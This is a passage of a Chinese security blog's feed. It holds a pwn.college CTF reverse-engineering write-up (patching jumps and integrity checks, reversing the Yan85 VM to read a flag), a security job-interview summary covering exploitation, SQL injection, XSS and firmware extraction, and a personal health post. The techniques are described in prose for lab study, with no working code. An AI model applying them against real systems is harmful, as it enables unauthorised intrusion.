逆向工程模块</h2><p>前面几道题基本上是调整输入数据的顺序，比如调整位置，位置逆向，排序等等。直接用gdb或者strings去动静态结合调试就能过，连IDA都用不上。</p><p>随后开始对输入做异或，多轮的算法操作（异或、排序、逆向），排序完全没有卵用，可能这就是试探你是不是真的去思考了。</p><p>之后的题越来越难，可以通过scp把题目下载下来，用IDA等现代工具去做逆向分析。</p><p>level7.1：需要注意一下switch跳转表的逆向，有一个长度为5的xor轮转key。在查了资料之后发现switch超过4了之后会被优化为跳转表的形式，这样需要用到ida里面的switch识别的功能，在edit-&gt;other-&gt;specify switch idiom。</p><p>level9：出现对输入数据做md5的操作，但这个操作是不可逆的，那么该怎么办呢？题目一开始给了5个次机会可以修改地址上的数据，仔细逆向能知道这个地址是程序的基地址，因此可以当做一种动态patch，并且还把整个程序所在的页设置成了rwx。我们就能直接patch跳转指令，直接进读flag的逻辑。指令可以通过pwntools直接生成，也可以查指令手册，或者用keypatch。</p><p>level11：增加了对代码完整性的检查，然而这个检查很弱，因为检查本身对自己并没有保护，所以能够直接破坏检查之后，再进行原有的patch操作。在第二个题目需要注意条件跳转的不同类型，长跳转和短跳转有不同的操作码，在patch的时候需要注意。</p><p>level12：开始了yan85虚拟机的逆向过程。比较坑的一点是我刚开始没发现程序中有memcmp函数，原来还是有输入对比，只不过关键的数据被虚拟化保护了。下面是逆向出的几个指令，通过解读前面的几个指令，可以知道是向0x65偏移的地方写入我们的输入数据，然后与0x85偏移的内容作比较，0x85的内容可以从指令中看出来。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">IMM 是定义立即数</span><br><span class="line">STM 是在相对偏移中写入数据</span><br><span class="line">ADD 是在首位立即数上面加第二位立即数</span><br><span class="line">SYS 系统调用 根据第一个常量调用不同的syscall 第二参数是保存返回结果的寄存器</span><br></pre></td></tr></table></figure><p>level13：多了两个指令CMP和LDM。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CMP 是比较第一个参数和第二个参数的大小</span><br><span class="line">LDM 是在相对偏移中读数据</span><br></pre></td></tr></table></figure><p>level14-15：多了一些对内存中数据的变换操作，比如写入内存的数据再取出来加上一个数，这里需要注意的是类型都是char，所以数据都是单字节大小，超过256不会保留高位。level15雷同的题目，不过这里在比较上更加简洁，直接采用寄存器做比较。</p><p>level16：从这里开始就是完整的Yan85虚拟机。又多了STK和JMP指令，并且整个程序是采用vmcode解释执行，已经是一道完整的虚拟机题目了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">STK 是第一个参数pop，第二个参数push</span><br><span class="line">JMP 是跳转指令，第一个参数是条件，第二个参数是指令位置</span><br></pre></td></tr></table></figure><p>最后逆向出来的结果是循环CMP比较，通过JMP执行跳转。里面还有STK进行栈空间利用。<br>这道题最后是利用动态调试的方式做出来的，受到sakura的提示，用gdb动态定位到cmp的地方，获取待比较的数据，这样可以逐字节的获得key的值，并且学到了gdb脚本的一些操作。</p><p>level17：在level16的基础上对写入的数据做了add，因此需要把add的数据也要获取到。</p><p>level18：需要你输入虚拟机的opcode，它会执行你的虚拟机指令。这样的话就需要写opcode编码器了。然后利用open，直接输出flag。ORW的经典思路，主要的问题是需要写一个编码器，这个虚拟机指令是3字节为单位，第一字节opcode，第二第三字节是参数。有一点很烦的是level18.0的虚拟机指令和level18.1的虚拟机指令结构上有不同，一个opcode在第一位，另外一个在第二位，并且操作码也有所不同，这两点是需要注意的。</p><p>level19：会对所有的寄存器，操作码，系统调用码做随机化，所以我们需要通过执行一些指令来逐渐判断。在进一步逆向程序，发现它的随机种子是和flag相关的，而flag是固定的值，因此它每次随机的结果是固定的，这样的话逐个猜解就能完成最后的orw。</p><ol><li><p>对于第一题因为有编码提示，所以直接一条一条指令的尝试，观察它的编码输出结果就能推测出指令的opcode。第二题没有了提示，就只能观察程序的行为了。需要确定IMM、STK、SYS，至少三条指令。以及参数寄存器a、b、c。</p></li><li><p>IMM可以通过第二个参数报错的方法确定，因为第二个参数可以是任意一字节的数据。STK可以通过STK NONE NONE的指令去测试。SYS可以通过找未知寄存器来确定，如果第一个参数报了未知寄存器的错误，那么大概率就不是SYS指令。</p></li><li><p>SYS的调用号确定方法，exit能观察到直接退出；在sleep后跟着exit能观察到程序延迟；open能观察调用返回值确定，我们去打开/flag文件，观察返回值是否为4；read可以将a设置为0和4后观察程序行为的不同，第一参数为0其他同样为0的话会直接返回0，如果第一参数为4则会报错返回-1；write则是第一参数为0和1时程序返回有所不同。要区分是read到代码段还是内存段，可以配合write判断，如果read的数据修改了内存中的内容，那么就是read到内存的调用，以此类推。</p></li><li><p>对于a参数，可以通过exit的返回值来确定；对于c参数，可以使用write输出数据，如果能成功输出内容，代表就是c；对于b参数，同样使用write，如果输出的数据产生了偏移，那么就是b。</p></li></ol><p>至此，我们推测出了所有要使用的内容。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;img src=&quot;/2022/05/26/pwn-college-writeup-one/1.png&quot;&gt;
&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;之前一段时间找到了&lt;code&gt;p
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>一个双非安全菜鸡的秋招总结</title>
    <link href="https://hurricane618.me/2021/12/08/2021-autunm-recruitment-summary/"/>
    <id>https://hurricane618.me/2021/12/08/2021-autunm-recruitment-summary/</id>
    <published>2021-12-08T01:58:15.000Z</published>
    <updated>2022-04-25T14:07:31.718Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>师兄们曾在牛客上总结了自己的秋招，在反复阅读的过程中深受鼓舞，所以在我的秋招基本告一段落之后也是选择记录下来，为社区贡献一点微薄之力。</p><p>同时，网上的安全相关面经特别稀少，想要找人交流又无从下手，很多时候只能依靠师兄师姐学长学姐们提供的信息。希望借此机会与安全圈的师傅们一起愉快交流。</p><h2 id="求学经历"><a href="#求学经历" class="headerlink" title="求学经历"></a>求学经历</h2><p>回顾这一段经历，想起一句话：上帝为你关上一扇门的同时，也会为你打开一扇窗。</p><p>早在大三的时候就对这里有所了解，不过当时是在另外一个实验室中，最初的感受是这里环境的高大上，有厉害的学长和畅聊技术的良好氛围。然而世事难料，当时考研遇到了名额缩减，不是20%，30%这种程度的缩招，是直接没了80%+。被这种情况吓到的我赶紧联系了现在的实验室，在发送意向邮件之后，意外被实验室三巨头+某钦定继承人四人环绕提前进行了一次小面试，面试之后心中顿时踏实了不少。在复试过后不久，确认了拟录取通过，心中的一块石头终于落地，我还开心了好几天，但这种快乐并没有持续多久。</p><p>从大四毕业来到这里之后，除开研一短暂的快乐就是各种杂活，有跟着师兄做电网协议的文档，做工控的外包项目，也有被叫去写书，去某部队做测试等。有上面的这些事情之外，还有各种杂七杂八的文档，最要命的是文档还会反复修改，导致最后变成同样的内容一直改格式，一会儿是这种排版，一会儿还要换成另外一种，最后又tm换回去；另外一个问题是这里管理混乱，每个事情都是临时通知，快要到ddl才会通知你去做，全然不管你那个时间段有没有空。诸多琐事混杂在一起，自己也抑郁过一段时间，好在研二时接触到C师兄的项目，给我指明了一条道路，这算是在某实验室中少数能学到东西的项目了，也因为接手这个项目让我的秋招简历更加丰富。所以在遇到让你苦恼的环境时，也要积极的去寻找机会。</p><p>就算身处绝境，面对残酷的现实，也能够坦然接受，并且还能鼓起勇气，与之顽强斗争，这就是<strong>黄金精神</strong>。</p><h2 id="方向选择"><a href="#方向选择" class="headerlink" title="方向选择"></a>方向选择</h2><p>由于我的实验室是做物联网安全方向的，在做的几个项目也都是和这个有所联系，同时也是我个人十分感兴趣的方向。其次，物联网安全是信息安全领域中的偏门方向，竞争不会特别激烈，比较适合我这种中途换方向的人。但这个方向也有一点问题，那就是岗位特别少，本身信息安全就是互联网中岗位较少的一类了，物联网安全又是信息安全中的小方向，那自然能选择的岗位就更少了。</p><p>结合自身实际情况之后，毅然选择物联网安全方向作为我的秋招方向。</p><h2 id="面试准备"><a href="#面试准备" class="headerlink" title="面试准备"></a>面试准备</h2><p>结合秋招的面试，总结出面试需要准备五个方面的内容，这些内容同样适用于其他的信息安全方向。</p><ol><li>安全相关的项目</li><li>挖掘/分析过的漏洞</li><li>参加过的安全类比赛</li><li>安全相关的知识</li><li>其他计算机基础</li></ol><p>其中前三个部分，尽量有要有自己的亮点，三个中有一个比较出色就能拿到大多数公司的offer；有两个很出色基本上能收割所有公司的安全岗offer，且有一部分sp；三个都十分优秀，你就是大佬，sp和ssp拿到手软。</p><h3 id="项目"><a href="#项目" class="headerlink" title="项目"></a>项目</h3><p>安全相关的项目大致分成两种不同的类型：</p><ul><li>攻击相关项目（漏洞挖掘、漏洞验证、漏洞利用等）</li><li>防御相关项目（安全加固、攻击识别、后门检测等）</li></ul><p>项目中要有特色、有亮点的地方，比如你做的东西和行业中其他的工具对比有什么优势，解决了什么问题等。在项目深挖的阶段中，肯定也会问你在项目中遇到的难点，最后如何解决的，项目还存在什么改进空间和改进方向，以及为什么不采用其他思路等等。</p><p>对于项目的细节一定要知根知底，面试的过程中随时可能会问道一些实现的思路和细节，所以在面试之前一定要把之前做过的东西再过一遍。在讲项目的时候可以先粗略的讲，如果面试官有意向继续深入交流再详细说说。</p><h3 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h3><p>在安全类的面试中经常会问道你挖掘过/分析过什么漏洞，我并不是这方面的大神，常常只能回答一下曾经复现过的一些CVE和pwn2own上的一些漏洞。在挖掘真实目标上，只挖过一些路由器设备，这些设备整体思路比较简单，一般是攻击面分析，找到关键网络服务进行分析，研究对应服务的二进制程序；其次是web接口上的功能点问题，有可能导致xss和命令注入等问题。</p><h3 id="比赛"><a href="#比赛" class="headerlink" title="比赛"></a>比赛</h3><p>安全类的比赛通常有四种：</p><ul><li>CTF（解题、攻防、战争分享【互相出题来做】）</li><li>渗透同一套环境，各个队伍环境是隔离的</li><li>RealWorld比赛</li><li>CGC类的机器人攻防赛</li></ul><p>大多数人都是打CTF，但随着CTF越来越正规，整体难度直线上升，需要选手有快速学习和快速信息检索的能力，平时的知识积累也同样重要，奈何自己太菜平时练题也少，CTF没有什么成绩（哭唧唧）。如果想在竞赛中获得一定的名次，建议先从小比赛开始入手，这样会有一定的成就感，大型的比赛例如TCTF这种，可以尽力去做等赛后去复现其中的题目。</p><p>其他几种类型比赛，渗透的类型适合专门做web和内网的同学去参加，CGC类比赛通常是实验室组团参加（没实验室支持，单靠个人很难有好的名次），RealWorld就留给大佬们去秀了，各大安全公司还有各高校研究机构的大佬们的舞台。</p><h3 id="安全知识"><a href="#安全知识" class="headerlink" title="安全知识"></a>安全知识</h3><p>安全方向多种多样，每一种方向所需要准备的东西都不尽相同，这里只列举物联网安全和软件安全方向要准备的内容。</p><h4 id="二进制类的安全"><a href="#二进制类的安全" class="headerlink" title="二进制类的安全"></a>二进制类的安全</h4><p><strong>工具</strong></p><p>IDA、GDB、Ghidra等，最好了解IDA和GDB的基本原理，比如IDA是递归下降分析算法，GDB是线性扫描分析。GDB的调试原理，attach原理等。要掌握一定程度的IDA和GDB脚本，能编写小脚本辅助分析。</p><p><strong>漏洞分析</strong></p><p>学习漏洞分析文章并复现历史漏洞，可以让你学习到漏洞的发现，调试到最后利用整个流程。操作一遍下来能学到很多文章里没有的细节点，而且能加深你学到的内容。面试的时候也有很大概率会问你分析过什么样的漏洞，以及如何分析的。</p><p><strong>漏洞挖掘</strong></p><p>在我们拿到目标设备或软件时，如何分析它的攻击面，又有哪些容易攻击的点。换句话说，就是要知道我们的目标能提供哪些功能，而这些功能又存在着哪些隐患。只有了解目标，才能更好的去挖掘目标中的漏洞。这些可以参考目标的历史漏洞，从中能知晓目标哪个模块容易出现问题。</p><p><strong>漏洞利用</strong></p><p>比较基础的漏洞利用包括Linux平台下的用户态栈溢出，格式化字符串，堆相关的漏洞利用。在IoT里面还需要掌握其他架构的利用（ARM、MIPS等），但总体上的思路和x86是类似的。其次，最好有对真实设备或程序的漏洞利用经验，与CTF不同真实环境下的漏洞利用往往有其他的干扰因素，比如某些路由器的web服务有动态认证，还需要绕过认证才能触发漏洞。</p><p>除了IoT，还有其他的热门目标，各种浏览器，各种文件解析器（word、excel、ppt、pdf阅读器、图片查看软件等），各种内核等等。（希望以后我也能挖这些 5555）</p><p><strong>防御机制及其绕过</strong></p><p>熟悉各种防御机制，包括：堆栈不可执行（NX）、地址随机化（ASLR）、栈cookie（canary）等。知道这些机制的作用和原理，能限制哪些攻击，又有什么绕过的方法，还能怎么改进防御。</p><h4 id="web类的安全"><a href="#web类的安全" class="headerlink" title="web类的安全"></a>web类的安全</h4><p>由于物联网的特点，里面还是有部分web安全的内容需要掌握学习。</p><p><strong>web漏洞利用</strong></p><p>SQL注入的几种基本类型都要了解掌握，有输出的，有报错的，没有输出盲注的，能够二次注入的，带外传输数据等等。存在危险字符过滤的情况怎么进行绕过，有一些基本的替换思路。除了基本的select注入的情况，还有其他几类，insert/update注入，order by注入等。</p><p>XSS三种类型，反射，存储，dom全看一遍了解掌握基本的一些情况即可，物联网设备中的XSS都是一些很简单的情况。</p><p><strong>web漏洞防御</strong></p><p>针对SQL注入的防御，通常看场景，一般用黑名单，预编译，转义特殊字符等方法。针对XSS攻击的防御也同样要看场景，有用纯前端渲染，转义HTML，开启csp保护等等。</p><h4 id="IoT特色"><a href="#IoT特色" class="headerlink" title="IoT特色"></a>IoT特色</h4><p><strong>参考OWASP TOP10</strong></p><ol><li>弱密码或者硬编码密码</li><li>不安全的网络服务</li><li>不安全的系统接口</li><li>缺少安全的升级机制（对固件没有check，缺少对回滚的保护。。。）</li><li>使用不安全的/过期的组件</li><li>不充分的隐私保护</li><li>不安全的数据传输和存储</li><li>缺少设备管理</li><li>不安全的默认设置</li><li>缺少物理加固</li></ol><p><a href="https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project" target="_blank" rel="noopener">https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project</a></p><p><strong>IoT相关工具使用</strong></p><p>烧录夹，编程器，热风枪，电洛铁，万用表等工具。烧录夹有些时候能直接读取到flash芯片中的固件数据，在获取不到的情况下可以用热风枪把芯片拆下来放进编程器中读取。电洛铁把拆下来的芯片再次焊接回去，推荐使用恒温电洛铁，那种便捷性的用着不方便。万用表可以确定板子上的串口位置，方便我们后续的调试或者dump固件。</p><p><strong>固件提取方法</strong></p><ol><li>官网下载</li><li>找客服社工</li><li>升级时抓包，看下载链接</li><li>用烧录夹直接读flash芯片，有一定概率能读出来</li><li>拆flash芯片，在编程器中读</li><li>找板子上的调试接口，连上去之后dump内存</li><li>在网上商店有一定概率能购买到</li></ol><h3 id="通用基础知识"><a href="#通用基础知识" class="headerlink" title="通用基础知识"></a>通用基础知识</h3><h4 id="擅长的编程语言"><a href="#擅长的编程语言" class="headerlink" title="擅长的编程语言"></a>擅长的编程语言</h4><p>面试中有可能会问及擅长的编程语言，我觉得程序员至少要熟悉两门语言，一个编译语言+一个脚本语言，我选择的是C+Python的组合。这个时候面试官会问这些语言相关的问题，比如C语言中static会用在哪里，Python中的内存管理机制。</p><h4 id="编程能力"><a href="#编程能力" class="headerlink" title="编程能力"></a>编程能力</h4><p>安全类的岗位现在普遍不再需要考算法题，但仍然有一部分公司会考察，比如：字节、华为、vivo。所以刷一刷基础和中等难度的算法题还是很有必要的。我是用的codetop平台来刷一些热门算法题，再学习labuladong的算法小抄来加深对算法的理解。编程语言选择自己最熟悉的即可，没必要强迫自己选Java。</p><h2 id="面经汇总"><a href="#面经汇总" class="headerlink" title="面经汇总"></a>面经汇总</h2><p>在秋招中一共投了14家，其中9家给了offer（ps. 本来深信服也有的，但是我忘记参加hr面了，23333），最后6家sp，3家白菜。</p><h3 id="绿盟"><a href="#绿盟" class="headerlink" title="绿盟"></a>绿盟</h3><p>1面 25min</p><ol><li>项目1中的协议分析，协议逆向问题</li><li>工控中的fuzz攻击面</li><li>项目中的ida脚本的使用</li><li>印象最深的复现漏洞</li><li>MIPS架构中的流水线处理（一般来说会先执行赋值操作再进行跳转）</li><li>获取国外信息的来源 （Twitter+玄武的整合数据等）</li><li>会有针对文章复现漏洞吗？</li><li>反问？</li></ol><p>介绍了一下绿盟这边IoT主要做的事情，听了之后以下几点吧。然后他们居然还有专门打比赛的人。。。我觉得还是研究真实设备好。</p><p>2面 20min</p><p>全程在问项目的相关问题，但也没有问的特别细致。。。感觉是个领导。然后问了我对绿盟怎么看？对格物实验室怎么看？</p><h3 id="360"><a href="#360" class="headerlink" title="360"></a>360</h3><p>1面 30min</p><ol><li>IoT设备的攻击面与攻击思路</li><li>最近有关注什么议题——Nas设备的攻击思路</li><li>二进制里面栈溢出的利用，有没有利用的可能</li><li>二进制中的堆利用方法</li><li>怎么利用堆泄露信息（在tcahce中用cmalloc的方法就不会有初始化）</li><li>问能不能实习</li><li>问了一些web方面的漏洞利用，比如变量覆盖</li><li>本科时候做web安全相关的内容，php版本的变化</li><li>一些本科时候做的事情，做了怎么样的web题目</li></ol><p>2面 15min</p><p>直接就是hr面了。。。。也不知道是什么情况。。政企安全，最后我想问是哪个实验室，也没正面回答我。。。最后还是问了360的师傅才知道是vulcan。</p><h3 id="奇安信"><a href="#奇安信" class="headerlink" title="奇安信"></a>奇安信</h3><p>1面 30min</p><ol><li>间接跳转怎么恢复的？（如果是回调的方法怎么处理？）</li><li>如果是遇到复杂的数据结构该如何处理？</li><li>ARM架构的栈溢出漏洞利用和MIPS的区别？</li><li>复现过的漏洞讲一个</li><li>如果给一个高难度目标设备，怎么去分析？（学习历史漏洞，归纳出容易出现问题的部分重点关注）</li><li>反问</li></ol><p>给了我的一些非常实用的建议，中间老板还来干扰我。。。幸好面试官人不错。</p><p>2面 20min</p><ol><li>固件分析项目中的效果如何？</li><li>介绍实验室情况</li></ol><p>似乎是一个领导，没怎么问问题就这样了。。。只稍微了解了下情况，居然问了我导师是谁？霍玮还真有名。</p><p>主要目标是有商业宣传效果的大漏洞。通常是人工审计的方法，windows和linux都有，开源的也有，cisco和华为，也有公司的产品。主要根据个人的方向来决定。</p><p>hr面 15min</p><ol><li>为什么选择北京？是否家里有亲戚在这里</li><li>未来的职业发展方向</li><li>其他公司的投递情况，这个hr很了解信工所呀，知道有很多师兄都去了华为 23333</li><li>问了点项目中的基本情况</li><li>预期薪资</li></ol><p>hr姐姐的电脑摄像头有问题，导致没办法用牛客网的链接，哈哈哈，可惜看不到样子了。总体感觉还是很满意的。9月中旬会给意向书。</p><h3 id="深信服"><a href="#深信服" class="headerlink" title="深信服"></a>深信服</h3><p>1面 45min</p><ol><li>项目介绍</li><li>挑战应答过程的细节点</li><li>固件分析二进制的背景，最后完成的效果</li><li>路由器固件漏洞分析调试问题，如何追踪路径，以及确定触发这个漏洞点</li><li>密码学中的DES和AES的区别？AES的密钥长度和DES？四种块加密方式的区别 ？哪种最常用？</li></ol><p>问的好细。。。而且问到了我写上去的密码学相关的内容。。。。我应该再复习复习的。比如 密钥的长度问题。。。</p><p>2面 25min</p><ol><li>项目介绍</li><li>项目中遇到的难点，最后是怎么解决的？</li><li>跟踪过什么github项目吗？</li><li>Python的class是由什么对象创建的</li><li>Python的垃圾回收机制</li><li>第二个项目是有几个人做的？我做了哪个部分</li><li>漏洞缓解机制？以及如何突破它们？</li><li>复现的比较有意思的漏洞</li></ol><p>感觉还算不错，应该是个领导。</p><p>加面 25min</p><ol><li>项目介绍</li><li>复现的漏洞</li><li>挖掘过的漏洞</li><li>base地点</li><li>职业方向</li><li>有没有搞过windows相关的程序</li><li>固件加密之后怎么破解</li></ol><p>没想到还是加面了。。。有点神奇。。。不过最后的hr面忘记参加了，23333。</p><h3 id="大疆"><a href="#大疆" class="headerlink" title="大疆"></a>大疆</h3><p>1面 30min</p><ol><li>固件签名怎么做？</li><li>对称加密和非对称加密的区别</li><li>讲讲AES加密算法</li><li>问问项目实现细节</li><li>分析过哪些固件，说一说怎么分析，怎么找漏洞</li><li>工控协议认证中的缺陷问题</li></ol><p>大疆这边的安全部主要做无人机和安全产品方面的工作，还有从底层芯片到上层应用的安全测试。</p><p>2面40min</p><ol><li>简单项目介绍</li><li>最有成就感的项目，哪些工作比较有亮点</li><li>针对项目介绍一个例子</li><li>溢出漏洞怎么利用</li><li>对大疆无人机有什么了解？怎么攻击？怎么做漏洞挖掘</li><li>hash计算为什么要加盐</li><li>mac和签名的区别</li><li>防御这一块做了哪些事情</li><li>漏洞挖掘中的前沿技术，有哪些团队在做</li><li>最近网络安全发生的大事件或者突破性的技术</li><li>未来三年的职业规划</li></ol><p>是个小领导，我问了关于物联网安全未来的发展问题，他讲了大疆在安全对抗中做出的成绩，比如在禁飞区的对抗上，摄像头的安全，与社区的破解对抗。</p><p>3面 25min</p><ol><li>简单介绍自己研究的方向</li><li>对大疆的了解</li><li>平时的兴趣爱好</li><li>对哪些电子产品感兴趣，以及自己对电子产品的理解</li><li>对无人机如何做攻击</li><li>反问</li></ol><p>hr面是一个中年老男人，头发稀疏。。。有点害怕，但人还是很和蔼，我能感觉到他通过面试记录知道我不太了解他们公司的产品，所以我着重的又去看了一遍他们的官网，没想到果然问了，2333。比较有意思的一点，我反问了为什么他们做安全的团队会在上海而不是在深圳的总部，原来是因为历史遗留的问题，导致上海的安全部门都在上海发展。</p><h3 id="华为"><a href="#华为" class="headerlink" title="华为"></a>华为</h3><p>1面 60min（主要是写题写了30min都没写出来。。。。）</p><ol><li>项目介绍，以及项目中的细节点</li><li>double free如何利用</li><li>内核层中进程间通信怎么实现的</li><li>内核中对打开文件在进程中如何共享</li><li>你最熟悉的语言是什么？对C++的掌握程度</li></ol><p>考了一道前序遍历数的验证。。。他提示了半天，我差点就写出来了，最后他说什么引用计数。。。这说法太诱导性了。完全想偏。</p><p>2面 40min</p><ol><li>项目介绍</li><li>堆溢出漏洞利用</li><li>UAF漏洞利用</li><li>栈溢出漏洞利用</li><li>IoT漏洞如何调试以及攻击面探测</li><li>动态分析了解的情况</li><li>静态分析了解的情况</li></ol><p>考了一道括号匹配的题目，还好学长给我说过，要不然真的尴尬了。</p><p>3面 30min</p><ol><li>询问学校的专业和技能掌握情况</li><li>未来的发展规划</li><li>针对ASLR如何绕过</li><li>针对PAC如何绕过</li><li>在CTF里面获得过最好的成绩是什么</li><li>老家在哪里？父母的工作情况</li><li>工作地点的选择，父母有没有反对</li><li>对华为的文化有什么了解？</li><li>科研中遇到的问题？最后怎么解决的？</li><li>对加班有什么看法？</li><li>除了安全，对其他方面还有什么研究</li><li>手上有哪些offer？华为给了你offer之后会怎么选择？如果华为的钱没那些公司高怎么办？</li><li>反问</li></ol><p>这个主管人还很好，在最后还阶段介绍了华为的基本情况。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;师兄们曾在牛客上总结了自己的秋招，在反复阅读的过程中深受鼓舞，所以在我的秋招基本告一段落之后也是选择记录下来，为社区贡献一点微薄之力。&lt;/p
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="求职" scheme="https://hurricane618.me/tags/%E6%B1%82%E8%81%8C/"/>
    
  </entry>
  
  <entry>
    <title>记最近一个月面瘫那点事</title>
    <link href="https://hurricane618.me/2021/06/09/2021-face-has-some-problems/"/>
    <id>https://hurricane618.me/2021/06/09/2021-face-has-some-problems/</id>
    <published>2021-06-09T03:07:13.000Z</published>
    <updated>2021-06-09T03:07:13.033Z</updated>
    
    <content type="html"><![CDATA[<p>这个标题看起来确实有点惊悚，但实际上也只是得了一个有点特殊的病。好在已经恢复的差不多了，记录一下发生过后如何处理，应对以及会给生活带来什么样的影响。</p><h2 id="事发之前的征兆？"><a href="#事发之前的征兆？" class="headerlink" title="事发之前的征兆？"></a>事发之前的征兆？</h2><p>得这个病的时机比较奇怪，在被派去出差之后的第二天就开始了。。。起初是下午的时候右眼皮开始狂跳，体感上跳了很久有半小时到一小时左右，除了右眼皮狂跳之外身体也很疲倦，脑子完全不太想动，那个时候本来想着去休息的，但考虑到这才第二天而且还有人看着，直接溜去休息太不好，就一直顶着。。。最后到晚上吃饭的时候发现右边的嘴有点抬不起来，吃饭比较吃力，到晚上回宿舍的时候已经能够发觉右半边的嘴无法和左半边同步。笑的时候嘴是歪的，23333（歪嘴龙王警告）</p><h2 id="事发之后"><a href="#事发之后" class="headerlink" title="事发之后"></a>事发之后</h2><p>当天晚上就开始google搜索相关的症状，搜出来的结论是得了面瘫，当时直接吓尿我，心里面慌得一批，又搜了面瘫该怎么办，得知有两种面瘫——中枢性面瘫和周围性面瘫，我才刚发病不久还无法明确判断，于是第二天中午，偷偷从项目地点溜出去看了一家小医院，看的是一个中医，简单检查之后说过一周再看情况，并且说发病后的两三天会逐渐严重（这里和网上的资料描述相符合，所以我也就听从了建议）。这个老医生很好的一点是让我把挂号费退了，23333，少花20块，第一次看医生就这样结束了。</p><p>在过了两天之后，症状果然开始严重，能够判断出是得了周围性面瘫，心里暂时松了一口气，中枢性更严重一点，在过了大概一周之后，突然又被叫去做另外一个项目（大忙人 哭唧唧），在回所的时候和师兄们聊了会儿得病的情况，被直接警告大概率是中风（我：？？？），出于稳妥的考虑我决定再去一个大医院看看情况。当时先挂的神经内科，进去之后医生说周围性面瘫不归我管，心里面又稳了很多，看来不是中风，直接换号成神经外科，医生也没问太多情况，还是同样的有没有着凉吹风，得知没有之后，就开始说些有的没的，”你这怎么拖到现在呀，应该早点来看病呀，就算大概率会好也不要这么自信呀，这么帅的小伙子脸歪了以后怎么找老婆呀”（我：？？？）最后三下五除二，检查了面部神经情况，也只得出右边面部神经受损，受损原因一直是个迷，开了一共400多的药，还有两周的打针注射药，杂七杂八加在一起花了一千出头，本来是可以报销的，当时着急没注意自费公费的问题，亏到姥姥家。。。。第二次看医生同样就这样结束了。</p><h2 id="给生活带来的影响"><a href="#给生活带来的影响" class="headerlink" title="给生活带来的影响"></a>给生活带来的影响</h2><p>大概以下四点影响很大：</p><ul><li>说话（嘴有一边张不开，说话很费劲）</li><li>吃饭（同样的理由，吃饭全靠左边带飞）</li><li>喝水属漱口（因为有半边神经受损，把水包住很费力，时常会漏水，画面太美不敢想）</li><li>眼睛容易干（因为还要经常看电脑，右边神经问题导致眼皮运作幅度也变小）</li></ul><p>说话我都是用手拖着右边说（难顶。。），吃饭就只能靠一边输出，漱口没办法弄直接左右晃脑袋代替嘴部运动，眼睛容易干就滴眼药水。其他方面都问题不大，生活照常继续。</p><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>至今不知道为什么会局部性面瘫，看了两次医生都说是大概率着凉吹风，但那几天也没有发烧，也没有感冒，要说吹风北京风这么大我基本上天天被吹，这就显得特别诡异。我的推测是因为右眼皮狂跳导致的病症，主要跳的时间有点长的离谱了，让人不得不怀疑。（也不得不吐槽，国内的某些医院真的水。。。情况没问几句，急匆匆开完药就让我走了）还有身体才是最重要的，做不那么紧急的项目就应该溜去休息一下 55555</p><p>另外一点是我第二次看医生直接拖了一周才去的，现在看来还是应该尽早去大医院再次检查，及时吃药打针更有利于快速恢复。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;这个标题看起来确实有点惊悚，但实际上也只是得了一个有点特殊的病。好在已经恢复的差不多了，记录一下发生过后如何处理，应对以及会给生活带来什么样的影响。&lt;/p&gt;
&lt;h2 id=&quot;事发之前的征兆？&quot;&gt;&lt;a href=&quot;#事发之前的征兆？&quot; class=&quot;headerlink&quot; t
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="闲聊" scheme="https://hurricane618.me/tags/%E9%97%B2%E8%81%8A/"/>
    
  </entry>
  
  <entry>
    <title>hw2021 蓝队总结</title>
    <link href="https://hurricane618.me/2021/05/15/hw2021-summary/"/>
    <id>https://hurricane618.me/2021/05/15/hw2021-summary/</id>
    <published>2021-05-15T07:12:55.000Z</published>
    <updated>2021-05-15T07:12:55.052Z</updated>
    
    <content type="html"><![CDATA[<p>拖了好久，终于趁着休息的时候简单总结一下第一次hw学习到的东西。（应该也是最后一次）</p><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><h3 id="资产梳理与排查"><a href="#资产梳理与排查" class="headerlink" title="资产梳理与排查"></a>资产梳理与排查</h3><p>在hw前期，需要梳理防护单位的资产，比如哪些服务器是用来做什么的，网络拓扑结构，有哪些防护设备，防护设备都开启了哪些设置。对于不重要的服务和业务应该尽可能的关闭，减少攻击者能利用的攻击面。同时排查现有服务器中是否存在漏洞和过去遗留下的后门木马。</p><h3 id="防护设备配置"><a href="#防护设备配置" class="headerlink" 